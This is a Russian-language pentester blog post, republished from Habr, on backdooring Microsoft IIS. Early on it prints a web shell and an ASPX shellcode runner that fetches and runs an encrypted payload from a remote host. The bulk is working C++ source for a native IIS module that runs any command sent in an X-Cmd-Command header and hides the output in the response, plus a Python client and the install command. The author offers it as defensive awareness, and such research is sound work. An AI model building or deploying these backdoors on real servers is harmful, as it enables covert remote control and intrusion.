От HTTP к RCE. Как оставить бекдор в IIS

—

от автора

Всем добрый день! Меня зовут Михаил Жмайло, я пентестер в команде CICADA8 Центра инноваций МТС.

На проектах часто встречаются инстансы Internet Information Services (IIS). Это очень удобный инструмент, используемый в качестве сервера приложений. Но знаете ли вы, что даже простое развёртывание IIS может позволить злоумышленнику оставить бекдор в целевой среде?

В статье я покажу закрепление на системе, используя легитимный продукт Microsoft — Internet Information Services. Мы попрактикуемся в программировании на C++, изучим IIS Components и оставим бекдор через IIS Module.

Договоримся сразу: я рассказываю это всё не для того, чтобы вы пошли взламывать чужие системы, а чтобы вы знали, где могут оставить бекдор злоумышленники. Предупреждён — значит вооружён.

Введение

Во время проведения внутренних пентестов наша команда очень часто встречала стандартную заставку IIS. На одном проекте практически каждый компьютер имел это приложение. В тот же вечер я задался вопросом: «А что, если закрепиться на целевой системе и сохранить постоянный доступ к ней через IIS?».

Стандартная заставка IIS

Стандартная заставка IIS

К счастью, Windows даёт свободу действий разработчику: хочешь расширить возможности любой большой Enterprise-штуки? Да пожалуйста, вот тебе куча API!

Перед тем как создавать нашего монстра Франкенштейна, вспомним об уже известных способах закрепления на IIS.

Казино, блэкджек и шеллы

Издавна самым распространённым способом персиста (а в особых случаях и получением первоначального доступа) были веб-шеллы. Впрочем, из-за простоты, маленького веса и большой популярности появилось достаточно много способов обнаружить их появление на веб-сервере.

Здесь дружно смеёмся

Здесь дружно смеёмся

Кроме того, если не добавлять минимальнейший контроль доступа к веб-шеллу, то им сможет пользоваться любой желающий. Не очень круто, правда?

Наконец, кодировки. Возьмём стандартный веб-шелл .aspx. Загрузим в C:\inetpub\wwwroot, поставим права через icacls, запустим.

Абракадабра

Абракадабра

Я знал, что требования к пентестерам высокие, но знания эльфийского никто не просил.

Конечно, есть и чуть более аккуратные варианты.

<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

Ровно как и чуть более громоздкие. Например, ASPX шеллкод-раннер с подгрузкой пейлоада с удалённого сервера и последующей дешифровкой AES.

Как тебе такое, Илон Маск?
<%@ Page Language="C#" AutoEventWireup="true" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System.Security.Cryptography" %> <%@ Import Namespace="System.Net" %> <%@ Import Namespace="System.Linq" %>  <script runat="server">  [System.Runtime.InteropServices.DllImport("kernel32")] private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);  [System.Runtime.InteropServices.DllImport("kernel32")] private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);  [System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);  [   System.Runtime.InteropServices.DllImport("kernel32.dll")] private static extern IntPtr GetCurrentProcess();  private byte[] Decrypt(byte[] data, byte[] key, byte[] iv) {     using (var aes = Aes.Create())     {         aes.KeySize = 256;         aes.BlockSize = 128;          // Keep this in mind when you view your decrypted content as the size will likely be different.         aes.Padding = PaddingMode.Zeros;          aes.Key = key;         aes.IV = iv;          using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))         {             return PerformCryptography(data, decryptor);         }     } }  private byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform) {     using (var ms = new MemoryStream())     using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))     {         cryptoStream.Write(data, 0, data.Length);         cryptoStream.FlushFinalBlock();         return ms.ToArray();     } }  private byte[] GetArray(string url) {     using (WebClient webClient = new WebClient())     {         string content = webClient.DownloadString(url);         byte[] byteArray = content.Split(',')         .Select(hexValue => Convert.ToByte(hexValue.Trim(), 16))         .ToArray();         return byteArray;     } }  private static Int32 MEM_COMMIT=0x1000; private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;  protected void Page_Load(object sender, EventArgs e) {     IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);     if(mem == null)     {         return;     }      // Encrypted shellcode     byte[] Enc = GetArray("http://192.168.x.x/enc.txt");      // Key     byte[] Key = GetArray("http://192.168.x.x/key.txt");      // IV     byte[] Iv = GetArray("http://192.168.x.x/iv.txt");      // Decrypt our shellcode     byte[] e4qRS= Decrypt(Enc, Key, Iv);      // Allocate our memory buffer     IntPtr zG5fzCKEhae = VirtualAlloc(IntPtr.Zero,(UIntPtr)e4qRS.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);          // Copy our decrypted shellcode ito the buffer     System.Runtime.InteropServices.Marshal.Copy(e4qRS,0,zG5fzCKEhae,e4qRS.Length);      // Create a thread that contains our buffer     IntPtr aj5QpPE = IntPtr.Zero;     IntPtr oiAJp5aJjiZV = CreateThread(IntPtr.Zero,UIntPtr.Zero,zG5fzCKEhae,IntPtr.Zero,0,ref aj5QpPE); } </script> <!DOCTYPE html> <html> <body> <p>Check your listener...</p> </body> </html>

Существуют даже генераторы веб-шеллов. Сверху ко всему этому добавляется удовольствие для ценителей — перезапись web.config. Казалось бы, бери и не думай!

Но нет! Хочется чего-нибудь этакого: нового, необычного и достаточно скрытного, чтобы не каждый стажёр-защитник мог прогнать тебя со скомпрометированного хоста.

И такое решение нашлось.

IIS Components

Как я уже сказал, Microsoft позволяет расширять встроенную функциональность своих продуктов. До версии 7.0 в IIS были ISAPI Extensions и ISAPI Filters. Эти средства до сих пор доступны, но на смену им пришли IIS Handler и IIS Module соответственно.

IIS Handler позволяет обрабатывать полученный запрос на IIS и создавать ответ для различного типа контента. Например, существует хендлер в ASP.NET, позволяющий обрабатывать страницы ASPX (наши веб-шеллы в том числе).

IIS Module также участвует в обработке. IIS предоставляет ему полный и неограниченный доступ ко всем входящим и исходящим HTTP-запросам. Думаю, это наш кандидат. Сами модули можно разделить на два типа: Managed и Native. Managed — те, которые были написаны на C#, а Native — на C++. Список установленных модулей можно увидеть через стандартный диспетчер служб IIS.

Диспетчер служб IIS

Диспетчер служб IIS

Сам процесс закрепления аналогичен веб-шеллу: если идёт обращение по определённому эндпоинту с определёнными параметрами, то на системе выполняется команда.

Общий концепт

Я понимаю, как можно расширить функциональность в Windows. Всё основывается на написании собственной DLL-библиотеки с нужными методами. После её создания остаётся лишь зарегистрировать библиотеку в IIS и с помощью неё обрабатывать конкретные события, появляющиеся на сервере, например, получение нового HTTP-запроса.

Чтобы мы смогли зарегистрировать нашу библиотеку в IIS, она должна экспортировать функцию RegisterModule() со следующим прототипом:

HRESULT __stdcall RegisterModule(     DWORD dwServerVersion,     IHttpModuleRegistrationInfo*   pModuleInfo,     IHttpServer*               pHttpServer )

dwServerVersion определяет версию сервера, на котором библиотека регистрируется. IHttpModuleRegistratioInfo — это так называемый интерфейс. Для неискушённых отмечу, что интерфейс в ООП можно считать некоторым обязательством класса по реализации определённых методов. Отличный разбор можно посмотреть тут.

Таким образом, обращаясь к переменной pModuleInfo (она будет идентифицировать наш модуль в IIS), мы можем извлечь имя текущего модуля с помощью GetName(), получить его ID через GetId(), но самое интересное (собственно, что нам и нужно) — подписаться на обработку определённых событий через SetRequestNotifications().

Ещё возможно установить приоритезацию, но она нам не особо интересна. Хотя если вы планируете писать высоконагруженный веб-шелл…

Впрочем, вернёмся к SetRequestNotifications().

virtual HRESULT SetRequestNotifications(      IN IHttpModuleFactory* pModuleFactory,      IN DWORD dwRequestNotifications,      IN DWORD dwPostRequestNotifications   ) = 0;

Это так называемая **чисто виртуальная функция**. Её логика должна быть реализована в каком-то классе. В нашем случае вызвать эту функцию можно, обратившись к pModuleInfo. Сама же функция принимает следующие аргументы:

  • pModuleFactory — экземпляр класса, который будет удовлетворять интерфейсу IHttpModuleFactory. То есть мы просто должны создать класс, указать, что он унаследован от интерфейса, и реализовать в этом классе методы GetHttpModule и Terminate

  • dwRequestNotifications — битовая маска, идентифицирующая все события, на которые подписывается IIS Module. Нас интересуют RQ_SEND_RESPONSE и RQ_BEGIN_REQUEST. Весь список возможных событий можно найти тут

  • dwPostRequestNotifications — битовая маска, идентифицирующая все так называемые post-event-события. Эту маску удобно использовать для обработки чего-то, что уже произошло на IIS. Нас это значение не особо интересует, поэтому ставим 0

В случае успешной инициализации функция RegisterModule() должна вернуть S_OK.

Логичный вопрос: «Где же обрабатывать события?». И перед тем как на него ответить, нужно разобраться со всеми классами и фабриками.

Класс, фабрика, племя и бедный иудей

В функции SetRequestNotification() нам следует первым параметром передать экземпляр класса, удовлетворяющего интерфейсу IHttpModuleFactory. Наш класс может быть каким угодно, главное, чтобы в нём была реализация двух методов: GetHttpModule() и Terminate().

Например, назовём класс неочевидным именем CHttpModuleFactory.

class CHttpModuleFactory : public IHttpModuleFactory { public:      HRESULT GetHttpModule( OUT CHttpModule** ppModule, IN IModuleAllocator* pAllocator) {     ... здесь код ... }  void Terminate() {     delete this; } };

Метод GetHttpModule() будет вызываться каждый раз, когда на IIS поступает запрос, обработка которого была зарегистрирована. Terminate() будет вызываться в конце обработки запроса.

Внутри GetHttpModule() наш класс должен создать экземпляр класса CHttpModule и вернуть адрес в переменную ppModule. Именно класс CHttpModule предоставляет функционал по обработке запросов на IIS, его определение представлено в стандартном заголовочном файле httpserv.h.

Определение класса CHttpModule

Определение класса CHttpModule

Если глянем на функции OutputDebugString(), то поймём, что мало создать экземпляр класса — мы должны предусмотреть реализацию метода для обработки конкретного события. Переопределить код существующего метода можно дочерним классом, назовём его CChildHttpModule.

В самом классе пока пропишем только прототипы методов, которые будем переопределять. Но очень хорошая практика, на мой взгляд, вставлять код метода в .h-файл — может возникнуть какая-нибудь LNK*-ошибка.

class CChildHttpModule : public CHttpModule { public: REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss);   };

Внутри GetHttpModule() предусмотрим код для создания экземпляра класса CChildHttpModule.

class CHttpModuleFactory : public IHttpModuleFactory { public:      HRESULT GetHttpModule( OUT CHttpModule** ppModule, IN IModuleAllocator*) {     CChildHttpModule* pModule = new CChildHttpModule();     *ppModule = pModule;     pModule = NULL;     return S_OK; }  void Terminate() {     delete this; } };

Если подвести черту, то только что описанные действия реализуют паттерн проектирования, называемый «фабрикой» (отсюда и всякие *Factory в названиях интерфейсов). Этот паттерн позволяет создать объект (он и называется фабрикой) для создания других объектов. А затем, при обращении к фабрике, будут создаваться нужные объекты.

Вся логика работы теперь предельно ясна:

  1. Регистрируем модуль в IIS.

  2. IIS вызывает RegisterModule().

  3. Подписываемся на нужные события, отдаём через pModuleInfo->SetRequestNotifications() указатель на экземпляр нашей фабрики.

  4. IIS при появлении запроса обратится к методу GetHttpModule() нашей фабрики.

  5. Создастся новый инстанс класса CChildHttpModule().

  6. Вызовется нужный метод, соответствующий событию, с помощью этого инстанса класса. В нашем случае, если подписались на RQ_SEND_RESPONSE, то вызовется OnSendResponse().

  7. Внутри метода обрабатываем ответ веб-сервера.

  8. Возвращаем из метода RQ_NOTIFICATION_CONTINUE. Это значение свидетельствует об успешном завершении функции по обработке.

  9. IIS запускает метод Terminate().

Зачем обрабатывать ответ, если нужно запрос?

Логичнее было бы обрабатывать событие RQ_BEGIN_REQUEST с вызовом метода OnBeginRequest(). Но как в этом случае получать вывод? Конечно, можно что-то там накодить на сокетах или оставить слепое выполнение команд, но это не очень удобно. Поэтому я использовал RQ_SEND_RESPONSE. Тем более в методе OnSendResponse() через аргумент pHttpContext благодаря IHttpContext интерфейсу можно получить доступ как к запросу, так и к ответу.

Логика работы нашего инструмента будет предельно проста: осуществляем парсинг полученного запроса, обнаруживаем желание атакующего выполнить команду на системе, выполняем команду, добавляем вывод команды к ответу IIS-сервера — успех!

Начинаем кодить

Итак, создаём пустой проект для написания библиотеки динамической компоновки в Visual Studio. В функцию DllMain ничего не добавляем, она нам не нужна. Реализуем RegisterModule().

#include "pch.h" #include <Windows.h> #include <httpserv.h> #include "classes.h"  CHttpModuleFactory* pFactory = NULL;  __declspec(dllexport) HRESULT __stdcall RegisterModule( DWORD dwSrvVersion, IHttpModuleRegistrationInfo* pModuleInfo, IHttpServer* pHttpServer) { pFactory = new CHttpModuleFactory(); HRESULT hr = pModuleInfo->SetRequestNotifications(pFactory, RQ_SEND_RESPONSE, 0); return hr; }

В этом коде мы объявляем функцию, экспортируемую из DLL. Далее внутри неё создаём экземпляр новой фабрики, который будет использоваться IIS для создания объектов класса CChildHttpModule.

В заголовочном файле classes.h реализуем прототипы классов CHttpModuleFactory и CChildHttpModule.

#pragma once #include <Windows.h> #include <httpserv.h>  class CChildHttpModule : public CHttpModule { public:     REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss); };   class CHttpModuleFactory : public IHttpModuleFactory { public:     HRESULT GetHttpModule(CHttpModule** ppModule, IModuleAllocator* pModuleAlloc);      void Terminate(); };

В файле classes.cpp пишем логику методов этих классов.

#include "classes.h"  REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss) {     ... }  HRESULT CHttpModuleFactory::GetHttpModule(CHttpModule** ppModule, IModuleAllocator* pModuleAlloc) {     CChildHttpModule* pModule = new CChildHttpModule();     *ppModule = pModule;     pModule = NULL;     return S_OK; }  void CHttpModuleFactory::Terminate() {     if (this != NULL)     {     delete this;     } }

Дальше нужно понять, как мы хотим выполнять команду и видеть вывод. После этого решаем, как будем реализовывать функцию OnSendResponse().

Методы IHttp*-интерфейса

Для минимального POC предлагаю отсылать HTTP-пакет с заголовком X-Cmd-Command: <command>. Так как наш IIS Module зарегистрирован для обработки RQ_SEND_RESPONSE, то внутри IIS вызовется функция OnSendResponse(). Прототип у неё вот такой:

virtual REQUEST_NOTIFICATION_STATUS OnSendResponse(      IN IHttpContext* pHttpContext,      IN ISendResponseProvider* pProvider   );

Здесь нас интересует указатель pHttpContext. Так как этот экземпляр реализует интерфейс IHttpContext, то мы можем использовать функции, определённые в этом интерфейсе.

Сначала нам следует извлечь полученный IIS запрос и отправляемый ответ. Это можно сделать с помощью методов pHttpContext->GetRequest() и pHttpContext->GetResponse().

В результате чего получим два экземпляра, соответствующих интерфейсу IHttpRequest и IHttpResponse.

Извлечь значение определённого заголовка позволяет метод GetHeader().

virtual PCSTR GetHeader(      IN PCSTR pszHeaderName,      OUT USHORT* pcchHeaderValue = NULL   ) const = 0;     virtual PCSTR GetHeader(      IN HTTP_HEADER_ID ulHeaderIndex,      OUT USHORT* pcchHeaderValue = NULL   ) const = 0;

Остаётся лишь извлечь значение, отдать в cmd.exe /c <command>, после чего добавить результат выполнения к ответу веб-приложения. С первыми двумя шагами всё очевидно, GetHeader(), CreateProcess() с перенаправлением вывода в пайп, но как добавить результат выполнения команд?

Для этого используем метод SetHeader().

virtual HRESULT SetHeader(      IN PCSTR pszHeaderName,      IN PCSTR pszHeaderValue,      IN USHORT cchHeaderValue,      IN BOOL fReplace   ) = 0;     virtual HRESULT SetHeader(      IN HTTP_HEADER_ID ulHeaderIndex,      IN PCSTR pszHeaderValue,      IN USHORT cchHeaderValue,      IN BOOL fReplace   ) = 0;

Обратите внимание, что этот метод присутствует и у IHttpRequest, но мы его вызываем по отношению к экземпляру IHttpResponse (ведь мы же хотим включить результат выполнения команды в ответ, так ведь? 🙂 ).

Результат исполнения команды вставляем в формате Base64.

Как дебажить это чудо

Ранее в статье я уже упоминал о прекрасной функции OutputDebugString(). Её я буду использовать в том числе и в функции OnSendResponse(). В случае Native IIS Module это единственный возможный более-менее высокоуровневый способ (из известных мне) отладки и отлова ошибок при разработке. OutputDebugString() делает вот что:

  • если текущий процесс отлаживается, то текст прямиком отправляется в отладчик

  • иначе — вызывает стандартную функцию OpenEvent() и пытается открыть хендл на два именованных события. Одно с именем DBWIN_BUFFER_READY, другое — DBWIN_DATA_READY. Если одно из них или оба не найдены, то строка, переданная в функцию, просто очищается

  • если события существуют, то идёт помещение строки в память путём вызова OpenFileMapping() с именем DBWIN_BUFFER. Если этот маппинг не найден, то текст просто очищается

  • наконец, если все три объекта существуют, OutputDebugString() вызывает MapViewOfFile() для создания маппинга, и строка появляется в памяти. Её оттуда можно считать

Для удобства можно воспользоваться, например, DebugView.

Вот пример двух программ, одна из которых получает строки, отправляемые другой с помощью функции Outputdebugstring():

#include <Windows.h> #include <stdio.h> #include <atltime.h>  int main() {     HANDLE hBufferReady = ::CreateEvent(nullptr, FALSE, FALSE,     L"DBWIN_BUFFER_READY");     HANDLE hDataReady = ::CreateEvent(nullptr, FALSE, FALSE,     L"DBWIN_DATA_READY");      DWORD size = 1 << 12;     HANDLE hMemFile = ::CreateFileMapping(INVALID_HANDLE_VALUE, nullptr,     PAGE_READWRITE, 0, size, L"DBWIN_BUFFER");      auto buffer = (BYTE*)::MapViewOfFile(hMemFile, FILE_MAP_READ,     0, 0, 0);      while (WAIT_OBJECT_0 == ::SignalObjectAndWait(hBufferReady, hDataReady,     INFINITE, FALSE)) {     SYSTEMTIME local;     ::GetLocalTime(&local);     DWORD pid = *(DWORD*)buffer;     printf("%ws.%03d %6d: %s\n",     (PCWSTR)CTime(local).Format(L"%X"),     local.wMilliseconds, pid,     (const char*)(buffer + sizeof(DWORD)));     }     getchar();     return 0; }

А вот программа, отправляющая строку:

#include <windows.h>  int main() { LPCWSTR str = (LPCWSTR)L"Hi!!!"; OutputDebugString(str); return 0; }

Вывод следующий:

Успешная отладка

Успешная отладка

Примерно так выглядит процесс отладки с помощью DebugView:

Функции в коде

Функции в коде
Интерфейс DebugView

Интерфейс DebugView

Написание финального POC

Итак, нам остаётся лишь корректно описать всё в методе OnSendResponse() и получить работающий бекдор. Начнём с функций по кодированию. Будем использовать base64, поэтому здесь всё просто. Так как функция SetHeader() принимает LPCSTR, то наша функция EncodeBase64() будет возвращать LPCSTR. Кодируемые данные будут лежать в BYTE-буфере, поэтому первым аргументом будет адрес буфера, вторым — его размер.

const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";  LPCSTR EncodeBase64(BYTE* buffer, size_t in_len) { std::string out;  int val = 0, valb = -6; for (size_t i = 0; i < in_len; ++i) {     unsigned char c = buffer[i];     val = (val << 8) + c;     valb += 8;     while (valb >= 0) {         out.push_back(base64_chars[(val >> valb) & 0x3F]);         valb -= 6;     } } if (valb > -6) out.push_back(base64_chars[((val << 8) >> (valb + 8)) & 0x3F]); while (out.size() % 4) out.push_back('=');  char* encodedString = new char[out.length() + 1]; std::memcpy(encodedString, out.data(), out.length()); encodedString[out.length()] = '\0';  return encodedString; }

Расписывать принцип работы алгоритма, думаю, нет смысла, ведь это стандартный Base64.

Перейдём к самому сочному — обработке OnSendResponse(). Я сначала предоставлю полный код функции, а затем мы его пошагово разберём.

REQUEST_NOTIFICATION_STATUS CChildHttpModule::OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss) {     OutputDebugString(L"OnSendResponse IN");     IHttpRequest* pHttpRequest = pHttpContext->GetRequest();     IHttpResponse* pHttpResponse = pHttpContext->GetResponse();      USHORT uComLen = 0;     LPCSTR lpCommand = pHttpRequest->GetHeader(HEADER, &uComLen);     if (lpCommand == NULL || uComLen == 0) {     OutputDebugString(L"lpCommand == NULL || uComLen == 0");     return RQ_NOTIFICATION_CONTINUE;     }      OutputDebugString(L"Command isn't null");          lpCommand = (LPCSTR)pHttpContext->AllocateRequestMemory(uComLen + 1);     lpCommand = (LPCSTR)pHttpRequest->GetHeader(HEADER, &uComLen);  std::vector<BYTE> output;      if (ExecuteCommand(lpCommand, output) != 0)     {     OutputDebugString(L"ExecuteCommand Failed");     return RQ_NOTIFICATION_CONTINUE;     }      OutputDebugString(L"ExecuteCommand success");  if (output.empty()) {     OutputDebugString(L"Buffer Is empty!");     return RQ_NOTIFICATION_CONTINUE; }  OutputDebugString(L"Buffer is not empty"); LPCSTR b64Data = EncodeBase64(output.data(), output.size()); if (b64Data == NULL) {     OutputDebugString(L"Base64 Data Is Null!");     return RQ_NOTIFICATION_CONTINUE; }  pHttpResponse->SetHeader(HEADER, b64Data, strlen(b64Data), false); output.clear(); delete[] b64Data;     OutputDebugString(L"OnSendResponse OUT");     return RQ_NOTIFICATION_CONTINUE; }

Во-первых, как и обещал, множество OutputDebugString(). Это позволяет через DebugView отслеживать состояние модуля IIS.

Отладка через DebugView

Отладка через DebugView

Во-вторых, извлекаем из pHttpContext экземпляр ответа и запроса.

IHttpRequest* pHttpRequest = pHttpContext->GetRequest(); IHttpResponse* pHttpResponse = pHttpContext->GetResponse();

Затем через чтение заголовка X-Cmd-Command получаем значение команды, которую следует исполнить.

LPCSTR lpCommand = pHttpRequest->GetHeader(HEADER, &uComLen); if (lpCommand == NULL || uComLen == 0) {     OutputDebugString(L"lpCommand == NULL || uComLen == 0");     return RQ_NOTIFICATION_CONTINUE; }  OutputDebugString(L"Command isn't null");  lpCommand = (LPCSTR)pHttpContext->AllocateRequestMemory(uComLen + 1); lpCommand = (LPCSTR)pHttpRequest->GetHeader(HEADER, &uComLen);

Обратите внимание, что заголовок я поместил в переменную HEADER. Она определена в файле defs.h. Это позволяет достаточно быстро и без особых проблем менять используемый заголовок.

Основная функциональность нашего бекдора — выполнение произвольных команд. Поэтому я создаю вектор с данными типа BYTE. В этой переменной будет находиться результат выполнения команды.

std::vector<BYTE> output;  if (ExecuteCommand(lpCommand, output) != 0) {     OutputDebugString(L"ExecuteCommand Failed"); return RQ_NOTIFICATION_CONTINUE; }  OutputDebugString(L"ExecuteCommand success");  if (output.empty()) { OutputDebugString(L"Buffer Is empty!"); return RQ_NOTIFICATION_CONTINUE; }  OutputDebugString(L"Buffer is not empty");

ExecuteCommand() выглядит вот так.

DWORD ExecuteCommand(LPCSTR command, std::vector<BYTE>& outputBuffer) { STARTUPINFOA si = { 0 }; PROCESS_INFORMATION pi = { 0 }; SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; HANDLE hReadPipe, hWritePipe; BOOL success = FALSE;  if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) {     OutputDebugString(L"CreatePipe failed");     return -1; }  ZeroMemory(&si, sizeof(STARTUPINFOA)); si.cb = sizeof(STARTUPINFOA); si.dwFlags |= STARTF_USESTDHANDLES; si.hStdOutput = hWritePipe; si.hStdError = hWritePipe;  char cmdCommand[MAX_PATH]; snprintf(cmdCommand, MAX_PATH, "C:\\Windows\\System32\\cmd.exe /c %s", command);  if (!CreateProcessA(     NULL,     cmdCommand,     NULL,     NULL,     TRUE,     CREATE_NO_WINDOW,     NULL,     NULL,     &si,     &pi)) {     OutputDebugString(L"CreateProcessA failed");     CloseHandle(hReadPipe);     CloseHandle(hWritePipe);     return -1; }  OutputDebugString(L"CreateProcessA Success");  CloseHandle(hWritePipe);  outputBuffer.clear();      const DWORD tempBufferSize = 4096; std::vector<BYTE> tempBuffer(tempBufferSize); DWORD bytesRead;  while (true) {     if (!ReadFile(hReadPipe, tempBuffer.data(), tempBufferSize, &bytesRead, NULL) || bytesRead == 0)         break;     outputBuffer.insert(outputBuffer.end(), tempBuffer.begin(), tempBuffer.begin() + bytesRead); }  CloseHandle(hWritePipe); CloseHandle(hReadPipe); CloseHandle(pi.hProcess); CloseHandle(pi.hThread);  return 0; }

Матёрому безопаснику эта функция покажется донельзя простой. Первым делом создаём пайп для получения результата команды. Следующим шагом генерируем исполняемую команду (cmd.exe /c <command>), после чего её выполняем. Результат выполнения упадёт в пайп, из которого мы считываем данные и помещаем их в наш вектор.

Процесс чтения также достаточно прост. Как только функция начинает завершаться с ошибкой либо данные перестают читаться, значит всё, конец чтения 🙂

После считывания всех данных в вектор кодируем его в Base64 и вставляем в ответ веб-сервера через метод SetHeader().

LPCSTR b64Data = EncodeBase64(output.data(), output.size()); if (b64Data == NULL) {     OutputDebugString(L"Base64 Data Is Null!");     return RQ_NOTIFICATION_CONTINUE; } OutputDebugStringA(b64Data); pHttpResponse->SetHeader(HEADER, b64Data, strlen(b64Data), false); output.clear(); delete[] b64Data;     OutputDebugString(L"OnSendResponse OUT");     return RQ_NOTIFICATION_CONTINUE; }

Выполняем команды

Момент истины! Добиваемся выполнения команд. Для того чтобы отправлять запросы на заражённый IIS, напишем простенький скрипт на Python.

import requests import argparse import base64  parser = argparse.ArgumentParser(description='Send a custom command to a server and print the response.') parser.add_argument('--host', type=str, required=True, help='HTTP URL of the host to connect to') parser.add_argument('--cmd', type=str, required=True, help='Command to send in the X-Cmd-Command header') parser.add_argument('--header', type=str, default='X-Cmd-Command', help='Header to receive the response in, defaults to X-Cmd-Command') args = parser.parse_args()  url = args.host   headers = { args.header: args.cmd }  response = requests.get(url, headers=headers)  if response.status_code == 200: response_value = response.headers.get(args.header) if response_value:     decoded_value = base64.b64decode(response_value.encode()).decode()     print(f"Значение заголовка {args.header} в ответе: {decoded_value}") else:     print(f"Заголовок {args.header} отсутствует в ответе.") else: print(f"Ошибка: Не удалось соединиться с сервером. Статус код: {response.status_code}")

Скрипт принимает два необходимых и один опциональный параметр:

  • --host — URL-адрес хоста, на котором расположен IIS

  • --cmd — команда для выполнения

  • --header — имя заголовка, через который отдаём команду и получаем вывод. Используем X-Cmd-Command, но если вы перекомпилируете проект с другим заголовком, то не забудьте указать новое значение

Перед тем как увидеть столь заветный результат, не забудьте зарегистрировать в IIS наш модуль. Делается одной простой командой:

C:\Windows\system32\inetsrv\appcmd.exe install module /name:"Backdoor" /image:C:\Windows\System32\inetsrv\Backdoor.dll /add:true

Можно, конечно, установить через графический интерфейс, но это как-то не по-хакерски.

При успешной регистрации увидим в DebugView строку RegisterModule.

Успешная регистрация бекдора

Успешная регистрация бекдора

Если мы просто зайдём на IIS и будем обновлять страницу, то ничего подозрительного не будет. Можем лишь видеть, как успешно логируется наше же сообщение о том, что никакой команды получено не было.

Обычный IIS

Обычный IIS

Запускаем наш Python-скрипт и видим успешное выполнение команды!

Успешное выполнение команды

Успешное выполнение команды

Success! 

Заключение

Порой вполне стандартные и легитимные механизмы могут оказаться весьма полезными при проведении пентестов. Есть ещё очень много функциональности, которую можно добавить к этому проекту. Например, было бы отлично кодировать не только вывод, но и ввод. Чтобы в заголовке X-Cmd-Command отдавалась команда в Base64. К счастью, получать значение заголовка мы научились. За вами — прикрутить функцию по декодированию из Base64. Все необходимые данные уже лежат в base64.cpp. Дерзайте 🙂

Полный код проекта доступен на GitHub.


ссылка на оригинал статьи https://habr.com/ru/articles/804789/